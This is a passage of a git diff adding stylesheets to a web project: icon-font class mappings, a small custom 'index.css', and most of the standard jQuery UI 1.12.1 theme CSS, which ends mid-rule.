+}
+.icon-html-five2:before {
+    content: "\eae5";
+}
+.icon-css3:before {
+    content: "\eae6";
+}
+.icon-git:before {
+    content: "\eae7";
+}
+.icon-codepen:before {
+    content: "\eae8";
+}
+.icon-svg:before {
+    content: "\eae9";
+}
+.icon-IcoMoon:before {
+    content: "\eaea";
+}
+.icon-uni21:before {
+    content: "\21";
+}
+.icon-uni22:before {
+    content: "\22";
+}
+.icon-uni23:before {
+    content: "\23";
+}
+.icon-uni24:before {
+    content: "\24";
+}
+.icon-uni25:before {
+    content: "\25";
+}
+.icon-uni26:before {
+    content: "\26";
+}
+.icon-uni27:before {
+    content: "\27";
+}
+.icon-uni28:before {
+    content: "\28";
+}
+.icon-uni29:before {
+    content: "\29";
+}
+.icon-uni2A:before {
+    content: "\2a";
+}
+.icon-uni2B:before {
+    content: "\2b";
+}
+.icon-uni2C:before {
+    content: "\2c";
+}
+.icon-uni2D:before {
+    content: "\2d";
+}
+.icon-uni2E:before {
+    content: "\2e";
+}
+.icon-uni2F:before {
+    content: "\2f";
+}
+.icon-uni30:before {
+    content: "\30";
+}
+.icon-uni31:before {
+    content: "\31";
+}
+.icon-uni32:before {
+    content: "\32";
+}
+.icon-uni33:before {
+    content: "\33";
+}
+.icon-uni34:before {
+    content: "\34";
+}
+.icon-uni35:before {
+    content: "\35";
+}
+.icon-uni36:before {
+    content: "\36";
+}
+.icon-uni37:before {
+    content: "\37";
+}
+.icon-uni38:before {
+    content: "\38";
+}
+.icon-uni39:before {
+    content: "\39";
+}
+.icon-uni3A:before {
+    content: "\3a";
+}
+.icon-uni3B:before {
+    content: "\3b";
+}
+.icon-uni3C:before {
+    content: "\3c";
+}
+.icon-uni3D:before {
+    content: "\3d";
+}
+.icon-uni3E:before {
+    content: "\3e";
+}
+.icon-uni3F:before {
+    content: "\3f";
+}
+.icon-uni40:before {
+    content: "\40";
+}
+.icon-uni41:before {
+    content: "\41";
+}
+.icon-uni42:before {
+    content: "\42";
+}
+.icon-uni43:before {
+    content: "\43";
+}
+.icon-uni44:before {
+    content: "\44";
+}
+.icon-uni45:before {
+    content: "\45";
+}
+.icon-uni46:before {
+    content: "\46";
+}
+.icon-uni47:before {
+    content: "\47";
+}
+.icon-uni48:before {
+    content: "\48";
+}
+.icon-uni49:before {
+    content: "\49";
+}
+.icon-uni4A:before {
+    content: "\4a";
+}
+.icon-uni4B:before {
+    content: "\4b";
+}
+.icon-uni4C:before {
+    content: "\4c";
+}
+.icon-uni4D:before {
+    content: "\4d";
+}
+.icon-uni4E:before {
+    content: "\4e";
+}
+.icon-uni4F:before {
+    content: "\4f";
+}
+.icon-uni50:before {
+    content: "\50";
+}
+.icon-uni51:before {
+    content: "\51";
+}
+.icon-uni52:before {
+    content: "\52";
+}
+.icon-uni53:before {
+    content: "\53";
+}
+.icon-uni54:before {
+    content: "\54";
+}
+.icon-uni55:before {
+    content: "\55";
+}
+.icon-uni56:before {
+    content: "\56";
+}
+.icon-uni57:before {
+    content: "\57";
+}
+.icon-uni58:before {
+    content: "\58";
+}
+.icon-uni59:before {
+    content: "\59";
+}
+.icon-uni5A:before {
+    content: "\5a";
+}
+.icon-uni5B:before {
+    content: "\5b";
+}
+.icon-uni5C:before {
+    content: "\5c";
+}
+.icon-uni5D:before {
+    content: "\5d";
+}
+.icon-uni5E:before {
+    content: "\5e";
+}
+.icon-uni5F:before {
+    content: "\5f";
+}
+.icon-uni60:before {
+    content: "\60";
+}
+.icon-uni61:before {
+    content: "\61";
+}
+.icon-uni62:before {
+    content: "\62";
+}
+.icon-uni63:before {
+    content: "\63";
+}
+.icon-uni64:before {
+    content: "\64";
+}
+.icon-uni65:before {
+    content: "\65";
+}
+.icon-uni66:before {
+    content: "\66";
+}
+.icon-uni67:before {
+    content: "\67";
+}
+.icon-uni68:before {
+    content: "\68";
+}
+.icon-uni69:before {
+    content: "\69";
+}
+.icon-uni6A:before {
+    content: "\6a";
+}
+.icon-uni6B:before {
+    content: "\6b";
+}
+.icon-uni6C:before {
+    content: "\6c";
+}
+.icon-uni6D:before {
+    content: "\6d";
+}
+.icon-uni6E:before {
+    content: "\6e";
+}
+.icon-uni6F:before {
+    content: "\6f";
+}
+.icon-uni70:before {
+    content: "\70";
+}
+.icon-uni71:before {
+    content: "\71";
+}
+.icon-uni72:before {
+    content: "\72";
+}
+.icon-uni73:before {
+    content: "\73";
+}
+.icon-uni74:before {
+    content: "\74";
+}
+.icon-uni75:before {
+    content: "\75";
+}
+.icon-uni76:before {
+    content: "\76";
+}
+.icon-uni77:before {
+    content: "\77";
+}
+.icon-uni78:before {
+    content: "\78";
+}
+.icon-uni79:before {
+    content: "\79";
+}
+.icon-uni7A:before {
+    content: "\7a";
+}
+.icon-uni7B:before {
+    content: "\7b";
+}
+.icon-uni7C:before {
+    content: "\7c";
+}
+.icon-uni7D:before {
+    content: "\7d";
+}
+.icon-uni7E:before {
+    content: "\7e";
+}
+.icon-uniA9:before {
+    content: "\a9";
+}
+
diff --git a/public/css/index.css b/public/css/index.css
new file mode 100644
index 0000000..e4eb391
--- /dev/null
+++ b/public/css/index.css
@@ -0,0 +1,17 @@
+img {
+    width: 150px;
+    height: auto;
+    border-radius: 8px;
+    margin-bottom: 10px;
+  }
+
+.search {
+  width: 90%;
+  height: 30px;
+  border-radius: 5px;
+}
+
+.btn-orange {
+  background-color: orange;
+  color: aliceblue;
+}
\ No newline at end of file
diff --git a/public/css/jquery-ui.css b/public/css/jquery-ui.css
new file mode 100644
index 0000000..a22ecb0
--- /dev/null
+++ b/public/css/jquery-ui.css
@@ -0,0 +1,1311 @@
+/*! jQuery UI - v1.12.1 - 2016-09-14
+* http://jqueryui.com
+* Includes: core.css, accordion.css, autocomplete.css, menu.css, button.css, controlgroup.css, checkboxradio.css, datepicker.css, dialog.css, draggable.css, resizable.css, progressbar.css, selectable.css, selectmenu.css, slider.css, sortable.css, spinner.css, tabs.css, tooltip.css, theme.css
+* To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Arial%2CHelvetica%2Csans-serif&fsDefault=1em&fwDefault=normal&cornerRadius=3px&bgColorHeader=e9e9e9&bgTextureHeader=flat&borderColorHeader=dddddd&fcHeader=333333&iconColorHeader=444444&bgColorContent=ffffff&bgTextureContent=flat&borderColorContent=dddddd&fcContent=333333&iconColorContent=444444&bgColorDefault=f6f6f6&bgTextureDefault=flat&borderColorDefault=c5c5c5&fcDefault=454545&iconColorDefault=777777&bgColorHover=ededed&bgTextureHover=flat&borderColorHover=cccccc&fcHover=2b2b2b&iconColorHover=555555&bgColorActive=007fff&bgTextureActive=flat&borderColorActive=003eff&fcActive=ffffff&iconColorActive=ffffff&bgColorHighlight=fffa90&bgTextureHighlight=flat&borderColorHighlight=dad55e&fcHighlight=777620&iconColorHighlight=777620&bgColorError=fddfdf&bgTextureError=flat&borderColorError=f1a899&fcError=5f3f3f&iconColorError=cc0000&bgColorOverlay=aaaaaa&bgTextureOverlay=flat&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=666666&bgTextureShadow=flat&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=5px&offsetTopShadow=0px&offsetLeftShadow=0px&cornerRadiusShadow=8px
+* Copyright jQuery Foundation and other contributors; Licensed MIT */
+
+/* Layout helpers
+----------------------------------*/
+.ui-helper-hidden {
+	display: none;
+}
+.ui-helper-hidden-accessible {
+	border: 0;
+	clip: rect(0 0 0 0);
+	height: 1px;
+	margin: -1px;
+	overflow: hidden;
+	padding: 0;
+	position: absolute;
+	width: 1px;
+}
+.ui-helper-reset {
+	margin: 0;
+	padding: 0;
+	border: 0;
+	outline: 0;
+	line-height: 1.3;
+	text-decoration: none;
+	font-size: 100%;
+	list-style: none;
+}
+.ui-helper-clearfix:before,
+.ui-helper-clearfix:after {
+	content: "";
+	display: table;
+	border-collapse: collapse;
+}
+.ui-helper-clearfix:after {
+	clear: both;
+}
+.ui-helper-zfix {
+	width: 100%;
+	height: 100%;
+	top: 0;
+	left: 0;
+	position: absolute;
+	opacity: 0;
+	filter:Alpha(Opacity=0); /* support: IE8 */
+}
+
+.ui-front {
+	z-index: 100;
+}
+
+
+/* Interaction Cues
+----------------------------------*/
+.ui-state-disabled {
+	cursor: default !important;
+	pointer-events: none;
+}
+
+
+/* Icons
+----------------------------------*/
+.ui-icon {
+	display: inline-block;
+	vertical-align: middle;
+	margin-top: -.25em;
+	position: relative;
+	text-indent: -99999px;
+	overflow: hidden;
+	background-repeat: no-repeat;
+}
+
+.ui-widget-icon-block {
+	left: 50%;
+	margin-left: -8px;
+	display: block;
+}
+
+/* Misc visuals
+----------------------------------*/
+
+/* Overlays */
+.ui-widget-overlay {
+	position: fixed;
+	top: 0;
+	left: 0;
+	width: 100%;
+	height: 100%;
+}
+.ui-accordion .ui-accordion-header {
+	display: block;
+	cursor: pointer;
+	position: relative;
+	margin: 2px 0 0 0;
+	padding: .5em .5em .5em .7em;
+	font-size: 100%;
+}
+.ui-accordion .ui-accordion-content {
+	padding: 1em 2.2em;
+	border-top: 0;
+	overflow: auto;
+}
+.ui-autocomplete {
+	position: absolute;
+	top: 0;
+	left: 0;
+	cursor: default;
+}
+.ui-menu {
+	list-style: none;
+	padding: 0;
+	margin: 0;
+	display: block;
+	outline: 0;
+}
+.ui-menu .ui-menu {
+	position: absolute;
+}
+.ui-menu .ui-menu-item {
+	margin: 0;
+	cursor: pointer;
+	/* support: IE10, see #8844 */
+	list-style-image: url("data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7");
+}
+.ui-menu .ui-menu-item-wrapper {
+	position: relative;
+	padding: 3px 1em 3px .4em;
+}
+.ui-menu .ui-menu-divider {
+	margin: 5px 0;
+	height: 0;
+	font-size: 0;
+	line-height: 0;
+	border-width: 1px 0 0 0;
+}
+.ui-menu .ui-state-focus,
+.ui-menu .ui-state-active {
+	margin: -1px;
+}
+
+/* icon support */
+.ui-menu-icons {
+	position: relative;
+}
+.ui-menu-icons .ui-menu-item-wrapper {
+	padding-left: 2em;
+}
+
+/* left-aligned */
+.ui-menu .ui-icon {
+	position: absolute;
+	top: 0;
+	bottom: 0;
+	left: .2em;
+	margin: auto 0;
+}
+
+/* right-aligned */
+.ui-menu .ui-menu-icon {
+	left: auto;
+	right: 0;
+}
+.ui-button {
+	padding: .4em 1em;
+	display: inline-block;
+	position: relative;
+	line-height: normal;
+	margin-right: .1em;
+	cursor: pointer;
+	vertical-align: middle;
+	text-align: center;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+
+	/* Support: IE <= 11 */
+	overflow: visible;
+}
+
+.ui-button,
+.ui-button:link,
+.ui-button:visited,
+.ui-button:hover,
+.ui-button:active {
+	text-decoration: none;
+}
+
+/* to make room for the icon, a width needs to be set here */
+.ui-button-icon-only {
+	width: 2em;
+	box-sizing: border-box;
+	text-indent: -9999px;
+	white-space: nowrap;
+}
+
+/* no icon support for input elements */
+input.ui-button.ui-button-icon-only {
+	text-indent: 0;
+}
+
+/* button icon element(s) */
+.ui-button-icon-only .ui-icon {
+	position: absolute;
+	top: 50%;
+	left: 50%;
+	margin-top: -8px;
+	margin-left: -8px;
+}
+
+.ui-button.ui-icon-notext .ui-icon {
+	padding: 0;
+	width: 2.1em;
+	height: 2.1em;
+	text-indent: -9999px;
+	white-space: nowrap;
+
+}
+
+input.ui-button.ui-icon-notext .ui-icon {
+	width: auto;
+	height: auto;
+	text-indent: 0;
+	white-space: normal;
+	padding: .4em 1em;
+}
+
+/* workarounds */
+/* Support: Firefox 5 - 40 */
+input.ui-button::-moz-focus-inner,
+button.ui-button::-moz-focus-inner {
+	border: 0;
+	padding: 0;
+}
+.ui-controlgroup {
+	vertical-align: middle;
+	display: inline-block;
+}
+.ui-controlgroup > .ui-controlgroup-item {
+	float: left;
+	margin-left: 0;
+	margin-right: 0;
+}
+.ui-controlgroup > .ui-controlgroup-item:focus,
+.ui-controlgroup > .ui-controlgroup-item.ui-visual-focus {
+	z-index: 9999;
+}
+.ui-controlgroup-vertical > .ui-controlgroup-item {
+	display: block;
+	float: none;
+	width: 100%;
+	margin-top: 0;
+	margin-bottom: 0;
+	text-align: left;
+}
+.ui-controlgroup-vertical .ui-controlgroup-item {
+	box-sizing: border-box;
+}
+.ui-controlgroup .ui-controlgroup-label {
+	padding: .4em 1em;
+}
+.ui-controlgroup .ui-controlgroup-label span {
+	font-size: 80%;
+}
+.ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item {
+	border-left: none;
+}
+.ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item {
+	border-top: none;
+}
+.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content {
+	border-right: none;
+}
+.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content {
+	border-bottom: none;
+}
+
+/* Spinner specific style fixes */
+.ui-controlgroup-vertical .ui-spinner-input {
+
+	/* Support: IE8 only, Android < 4.4 only */
+	width: 75%;
+	width: calc( 100% - 2.4em );
+}
+.ui-controlgroup-vertical .ui-spinner .ui-spinner-up {
+	border-top-style: solid;
+}
+
+.ui-checkboxradio-label .ui-icon-background {
+	box-shadow: inset 1px 1px 1px #ccc;
+	border-radius: .12em;
+	border: none;
+}
+.ui-checkboxradio-radio-label .ui-icon-background {
+	width: 16px;
+	height: 16px;
+	border-radius: 1em;
+	overflow: visible;
+	border: none;
+}
+.ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon,
+.ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon {
+	background-image: none;
+	width: 8px;
+	height: 8px;
+	border-width: 4px;
+	border-style: solid;
+}
+.ui-checkboxradio-disabled {
+	pointer-events: none;
+}
+.ui-datepicker {
+	width: 17em;
+	padding: .2em .2em 0;
+	display: none;
+}
+.ui-datepicker .ui-datepicker-header {
+	position: relative;
+	padding: .2em 0;
+}
+.ui-datepicker .ui-datepicker-prev,
+.ui-datepicker .ui-datepicker-next {
+	position: absolute;
+	top: 2px;
+	width: 1.8em;
+	height: 1.8em;
+}
+.ui-datepicker .ui-datepicker-prev-hover,
+.ui-datepicker .ui-datepicker-next-hover {
+	top: 1px;
+}
+.ui-datepicker .ui-datepicker-prev {
+	left: 2px;
+}
+.ui-datepicker .ui-datepicker-next {
+	right: 2px;
+}
+.ui-datepicker .ui-datepicker-prev-hover {
+	left: 1px;
+}
+.ui-datepicker .ui-datepicker-next-hover {
+	right: 1px;
+}
+.ui-datepicker .ui-datepicker-prev span,
+.ui-datepicker .ui-datepicker-next span {
+	display: block;
+	position: absolute;
+	left: 50%;
+	margin-left: -8px;
+	top: 50%;
+	margin-top: -8px;
+}
+.ui-datepicker .ui-datepicker-title {
+	margin: 0 2.3em;
+	line-height: 1.8em;
+	text-align: center;
+}
+.ui-datepicker .ui-datepicker-title select {
+	font-size: 1em;
+	margin: 1px 0;
+}
+.ui-datepicker select.ui-datepicker-month,
+.ui-datepicker select.ui-datepicker-year {
+	width: 45%;
+}
+.ui-datepicker table {
+	width: 100%;
+	font-size: .9em;
+	border-collapse: collapse;
+	margin: 0 0 .4em;
+}
+.ui-datepicker th {
+	padding: .7em .3em;
+	text-align: center;
+	font-weight: bold;
+	border: 0;
+}
+.ui-datepicker td {
+	border: 0;
+	padding: 1px;
+}
+.ui-datepicker td span,
+.ui-datepicker td a {
+	display: block;
+	padding: .2em;
+	text-align: right;
+	text-decoration: none;
+}
+.ui-datepicker .ui-datepicker-buttonpane {
+	background-image: none;
+	margin: .7em 0 0 0;
+	padding: 0 .2em;
+	border-left: 0;
+	border-right: 0;
+	border-bottom: 0;
+}
+.ui-datepicker .ui-datepicker-buttonpane button {
+	float: right;
+	margin: .5em .2em .4em;
+	cursor: pointer;
+	padding: .2em .6em .3em .6em;
+	width: auto;
+	overflow: visible;
+}
+.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current {
+	float: left;
+}
+
+/* with multiple calendars */
+.ui-datepicker.ui-datepicker-multi {
+	width: auto;
+}
+.ui-datepicker-multi .ui-datepicker-group {
+	float: left;
+}
+.ui-datepicker-multi .ui-datepicker-group table {
+	width: 95%;
+	margin: 0 auto .4em;
+}
+.ui-datepicker-multi-2 .ui-datepicker-group {
+	width: 50%;
+}
+.ui-datepicker-multi-3 .ui-datepicker-group {
+	width: 33.3%;
+}
+.ui-datepicker-multi-4 .ui-datepicker-group {
+	width: 25%;
+}
+.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,
+.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header {
+	border-left-width: 0;
+}
+.ui-datepicker-multi .ui-datepicker-buttonpane {
+	clear: left;
+}
+.ui-datepicker-row-break {
+	clear: both;
+	width: 100%;
+	font-size: 0;
+}
+
+/* RTL support */
+.ui-datepicker-rtl {
+	direction: rtl;
+}
+.ui-datepicker-rtl .ui-datepicker-prev {
+	right: 2px;
+	left: auto;
+}
+.ui-datepicker-rtl .ui-datepicker-next {
+	left: 2px;
+	right: auto;
+}
+.ui-datepicker-rtl .ui-datepicker-prev:hover {
+	right: 1px;
+	left: auto;
+}
+.ui-datepicker-rtl .ui-datepicker-next:hover {
+	left: 1px;
+	right: auto;
+}
+.ui-datepicker-rtl .ui-datepicker-buttonpane {
+	clear: right;
+}
+.ui-datepicker-rtl .ui-datepicker-buttonpane button {
+	float: left;
+}
+.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,
+.ui-datepicker-rtl .ui-datepicker-group {
+	float: right;
+}
+.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,
+.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header {
+	border-right-width: 0;
+	border-left-width: 1px;
+}
+
+/* Icons */
+.ui-datepicker .ui-icon {
+	display: block;
+	text-indent: -99999px;
+	overflow: hidden;
+	background-repeat: no-repeat;
+	left: .5em;
+	top: .3em;
+}
+.ui-dialog {
+	position: absolute;
+	top: 0;
+	left: 0;
+	padding: .2em;
+	outline: 0;
+}
+.ui-dialog .ui-dialog-titlebar {
+	padding: .4em 1em;
+	position: relative;
+}
+.ui-dialog .ui-dialog-title {
+	float: left;
+	margin: .1em 0;
+	white-space: nowrap;
+	width: 90%;
+	overflow: hidden;
+	text-overflow: ellipsis;
+}
+.ui-dialog .ui-dialog-titlebar-close {
+	position: absolute;
+	right: .3em;
+	top: 50%;
+	width: 20px;
+	margin: -10px 0 0 0;
+	padding: 1px;
+	height: 20px;
+}
+.ui-dialog .ui-dialog-content {
+	position: relative;
+	border: 0;
+	padding: .5em 1em;
+	background: none;
+	overflow: auto;
+}
+.ui-dialog .ui-dialog-buttonpane {
+	text-align: left;
+	border-width: 1px 0 0 0;
+	background-image: none;
+	margin-top: .5em;
+	padding: .3em 1em .5em .4em;
+}
+.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset {
+	float: right;
+}
+.ui-dialog .ui-dialog-buttonpane button {
+	margin: .5em .4em .5em 0;
+	cursor: pointer;
+}
+.ui-dialog .ui-resizable-n {
+	height: 2px;
+	top: 0;
+}
+.ui-dialog .ui-resizable-e {
+	width: 2px;
+	right: 0;
+}
+.ui-dialog .ui-resizable-s {
+	height: 2px;
+	bottom: 0;
+}
+.ui-dialog .ui-resizable-w {
+	width: 2px;
+	left: 0;
+}
+.ui-dialog .ui-resizable-se,
+.ui-dialog .ui-resizable-sw,
+.ui-dialog .ui-resizable-ne,
+.ui-dialog .ui-resizable-nw {
+	width: 7px;
+	height: 7px;
+}
+.ui-dialog .ui-resizable-se {
+	right: 0;
+	bottom: 0;
+}
+.ui-dialog .ui-resizable-sw {
+	left: 0;
+	bottom: 0;
+}
+.ui-dialog .ui-resizable-ne {
+	right: 0;
+	top: 0;
+}
+.ui-dialog .ui-resizable-nw {
+	left: 0;
+	top: 0;
+}
+.ui-draggable .ui-dialog-titlebar {
+	cursor: move;
+}
+.ui-draggable-handle {
+	-ms-touch-action: none;
+	touch-action: none;
+}
+.ui-resizable {
+	position: relative;
+}
+.ui-resizable-handle {
+	position: absolute;
+	font-size: 0.1px;
+	display: block;
+	-ms-touch-action: none;
+	touch-action: none;
+}
+.ui-resizable-disabled .ui-resizable-handle,
+.ui-resizable-autohide .ui-resizable-handle {
+	display: none;
+}
+.ui-resizable-n {
+	cursor: n-resize;
+	height: 7px;
+	width: 100%;
+	top: -5px;
+	left: 0;
+}
+.ui-resizable-s {
+	cursor: s-resize;
+	height: 7px;
+	width: 100%;
+	bottom: -5px;
+	left: 0;
+}
+.ui-resizable-e {
+	cursor: e-resize;
+	width: 7px;
+	right: -5px;
+	top: 0;
+	height: 100%;
+}
+.ui-resizable-w {
+	cursor: w-resize;
+	width: 7px;
+	left: -5px;
+	top: 0;
+	height: 100%;
+}
+.ui-resizable-se {
+	cursor: se-resize;
+	width: 12px;
+	height: 12px;
+	right: 1px;
+	bottom: 1px;
+}
+.ui-resizable-sw {
+	cursor: sw-resize;
+	width: 9px;
+	height: 9px;
+	left: -5px;
+	bottom: -5px;
+}
+.ui-resizable-nw {
+	cursor: nw-resize;
+	width: 9px;
+	height: 9px;
+	left: -5px;
+	top: -5px;
+}
+.ui-resizable-ne {
+	cursor: ne-resize;
+	width: 9px;
+	height: 9px;
+	right: -5px;
+	top: -5px;
+}
+.ui-progressbar {
+	height: 2em;
+	text-align: left;
+	overflow: hidden;
+}
+.ui-progressbar .ui-progressbar-value {
+	margin: -1px;
+	height: 100%;
+}
+.ui-progressbar .ui-progressbar-overlay {
+	background: url("data:image/gif;base64,R0lGODlhKAAoAIABAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQJAQABACwAAAAAKAAoAAACkYwNqXrdC52DS06a7MFZI+4FHBCKoDeWKXqymPqGqxvJrXZbMx7Ttc+w9XgU2FB3lOyQRWET2IFGiU9m1frDVpxZZc6bfHwv4c1YXP6k1Vdy292Fb6UkuvFtXpvWSzA+HycXJHUXiGYIiMg2R6W459gnWGfHNdjIqDWVqemH2ekpObkpOlppWUqZiqr6edqqWQAAIfkECQEAAQAsAAAAACgAKAAAApSMgZnGfaqcg1E2uuzDmmHUBR8Qil95hiPKqWn3aqtLsS18y7G1SzNeowWBENtQd+T1JktP05nzPTdJZlR6vUxNWWjV+vUWhWNkWFwxl9VpZRedYcflIOLafaa28XdsH/ynlcc1uPVDZxQIR0K25+cICCmoqCe5mGhZOfeYSUh5yJcJyrkZWWpaR8doJ2o4NYq62lAAACH5BAkBAAEALAAAAAAoACgAAAKVDI4Yy22ZnINRNqosw0Bv7i1gyHUkFj7oSaWlu3ovC8GxNso5fluz3qLVhBVeT/Lz7ZTHyxL5dDalQWPVOsQWtRnuwXaFTj9jVVh8pma9JjZ4zYSj5ZOyma7uuolffh+IR5aW97cHuBUXKGKXlKjn+DiHWMcYJah4N0lYCMlJOXipGRr5qdgoSTrqWSq6WFl2ypoaUAAAIfkECQEAAQAsAAAAACgAKAAAApaEb6HLgd/iO7FNWtcFWe+ufODGjRfoiJ2akShbueb0wtI50zm02pbvwfWEMWBQ1zKGlLIhskiEPm9R6vRXxV4ZzWT2yHOGpWMyorblKlNp8HmHEb/lCXjcW7bmtXP8Xt229OVWR1fod2eWqNfHuMjXCPkIGNileOiImVmCOEmoSfn3yXlJWmoHGhqp6ilYuWYpmTqKUgAAIfkECQEAAQAsAAAAACgAKAAAApiEH6kb58biQ3FNWtMFWW3eNVcojuFGfqnZqSebuS06w5V80/X02pKe8zFwP6EFWOT1lDFk8rGERh1TTNOocQ61Hm4Xm2VexUHpzjymViHrFbiELsefVrn6XKfnt2Q9G/+Xdie499XHd2g4h7ioOGhXGJboGAnXSBnoBwKYyfioubZJ2Hn0RuRZaflZOil56Zp6iioKSXpUAAAh+QQJAQABACwAAAAAKAAoAAACkoQRqRvnxuI7kU1a1UU5bd5tnSeOZXhmn5lWK3qNTWvRdQxP8qvaC+/yaYQzXO7BMvaUEmJRd3TsiMAgswmNYrSgZdYrTX6tSHGZO73ezuAw2uxuQ+BbeZfMxsexY35+/Qe4J1inV0g4x3WHuMhIl2jXOKT2Q+VU5fgoSUI52VfZyfkJGkha6jmY+aaYdirq+lQAACH5BAkBAAEALAAAAAAoACgAAAKWBIKpYe0L3YNKToqswUlvznigd4wiR4KhZrKt9Upqip61i9E3vMvxRdHlbEFiEXfk9YARYxOZZD6VQ2pUunBmtRXo1Lf8hMVVcNl8JafV38aM2/Fu5V16Bn63r6xt97j09+MXSFi4BniGFae3hzbH9+hYBzkpuUh5aZmHuanZOZgIuvbGiNeomCnaxxap2upaCZsq+1kAACH5BAkBAAEALAAAAAAoACgAAAKXjI8By5zf4kOxTVrXNVlv1X0d8IGZGKLnNpYtm8Lr9cqVeuOSvfOW79D9aDHizNhDJidFZhNydEahOaDH6nomtJjp1tutKoNWkvA6JqfRVLHU/QUfau9l2x7G54d1fl995xcIGAdXqMfBNadoYrhH+Mg2KBlpVpbluCiXmMnZ2Sh4GBqJ+ckIOqqJ6LmKSllZmsoq6wpQAAAh+QQJAQABACwAAAAAKAAoAAAClYx/oLvoxuJDkU1a1YUZbJ59nSd2ZXhWqbRa2/gF8Gu2DY3iqs7yrq+xBYEkYvFSM8aSSObE+ZgRl1BHFZNr7pRCavZ5BW2142hY3AN/zWtsmf12p9XxxFl2lpLn1rseztfXZjdIWIf2s5dItwjYKBgo9yg5pHgzJXTEeGlZuenpyPmpGQoKOWkYmSpaSnqKileI2FAAACH5BAkBAAEALAAAAAAoACgAAAKVjB+gu+jG4kORTVrVhRlsnn2dJ3ZleFaptFrb+CXmO9OozeL5VfP99HvAWhpiUdcwkpBH3825AwYdU8xTqlLGhtCosArKMpvfa1mMRae9VvWZfeB2XfPkeLmm18lUcBj+p5dnN8jXZ3YIGEhYuOUn45aoCDkp16hl5IjYJvjWKcnoGQpqyPlpOhr3aElaqrq56Bq7VAAAOw==");
+	height: 100%;
+	filter: alpha(opacity=25); /* support: IE8 */
+	opacity: 0.25;
+}
+.ui-progressbar-indeterminate .ui-progressbar-value {
+	background-image: none;
+}
+.ui-selectable {
+	-ms-touch-action: none;
+	touch-action: none;
+}
+.ui-selectable-helper {
+	position: absolute;
+	z-index: 100;
+	border: 1px dotted black;
+}
+.ui-selectmenu-menu {
+	padding: 0;
+	margin: 0;
+	position: absolute;
+	top: 0;
+	left: 0;
+	display: none;
+}
+.ui-selectmenu-menu .ui-menu {
+	overflow: auto;
+	overflow-x: hidden;
+	padding-bottom: 1px;
+}
+.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup {
+	font-size: 1em;
+	font-weight: bold;
+	line-height: 1.5;
+	padding: 2px 0.4em;
+	margin: 0.5em 0 0 0;
+	height: auto;
+	border: 0;
+}
+.ui-selectmenu-open {
+	display: block;
+}
+.ui-selectmenu-text {
+	display: block;
+	margin-right: 20px;
+	overflow: hidden;
+	text-overflow: ellipsis;
+}
+.ui-selectmenu-button.ui-button {
+	text-align: left;
+	white-space: nowrap;
+	width: 14em;
+}
+.ui-selectmenu-icon.ui-icon {
+	float: right;
+	margin-top: 0;
+}
+.ui-slider {
+	position: relative;
+	text-align: left;
+}
+.ui-slider .ui-slider-handle {
+	position: absolute;
+	z-index: 2;
+	width: 1.2em;
+	height: 1.2em;
+	cursor: default;
+	-ms-touch-action: none;
+	touch-action: none;
+}
+.ui-slider .ui-slider-range {
+	position: absolute;
+	z-index: 1;
+	font-size: .7em;
+	display: block;
+	border: 0;
+	background-position: 0 0;
+}
+
+/* support: IE8 - See #6727 */
+.ui-slider.ui-state-disabled .ui-slider-handle,
+.ui-slider.ui-state-disabled .ui-slider-range {
+	filter: inherit;
+}
+
+.ui-slider-horizontal {
+	height: .8em;
+}
+.ui-slider-horizontal .ui-slider-handle {
+	top: -.3em;
+	margin-left: -.6em;
+}
+.ui-slider-horizontal .ui-slider-range {
+	top: 0;
+	height: 100%;
+}
+.ui-slider-horizontal .ui-slider-range-min {
+	left: 0;
+}
+.ui-slider-horizontal .ui-slider-range-max {
+	right: 0;
+}
+
+.ui-slider-vertical {
+	width: .8em;
+	height: 100px;
+}
+.ui-slider-vertical .ui-slider-handle {
+	left: -.3em;
+	margin-left: 0;
+	margin-bottom: -.6em;
+}
+.ui-slider-vertical .ui-slider-range {
+	left: 0;
+	width: 100%;
+}
+.ui-slider-vertical .ui-slider-range-min {
+	bottom: 0;
+}
+.ui-slider-vertical .ui-slider-range-max {
+	top: 0;
+}
+.ui-sortable-handle {
+	-ms-touch-action: none;
+	touch-action: none;
+}
+.ui-spinner {
+	position: relative;
+	display: inline-block;
+	overflow: hidden;
+	padding: 0;
+	vertical-align: middle;
+}
+.ui-spinner-input {
+	border: none;
+	background: none;
+	color: inherit;
+	padding: .222em 0;
+	margin: .2em 0;
+	vertical-align: middle;
+	margin-left: .4em;
+	margin-right: 2em;
+}
+.ui-spinner-button {
+	width: 1.6em;
+	height: 50%;
+	font-size: .5em;
+	padding: 0;
+	margin: 0;
+	text-align: center;
+	position: absolute;
+	cursor: default;
+	display: block;
+	overflow: hidden;
+	right: 0;
+}
+/* more specificity required here to override default borders */
+.ui-spinner a.ui-spinner-button {
+	border-top-style: none;
+	border-bottom-style: none;
+	border-right-style: none;
+}
+.ui-spinner-up {
+	top: 0;
+}
+.ui-spinner-down {
+	bottom: 0;
+}
+.ui-tabs {
+	position: relative;/* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */
+	padding: .2em;
+}
+.ui-tabs .ui-tabs-nav {
+	margin: 0;
+	padding: .2em .2em 0;
+}
+.ui-tabs .ui-tabs-nav li {
+	list-style: none;
+	float: left;
+	position: relative;
+	top: 0;
+	margin: 1px .2em 0 0;
+	border-bottom-width: 0;
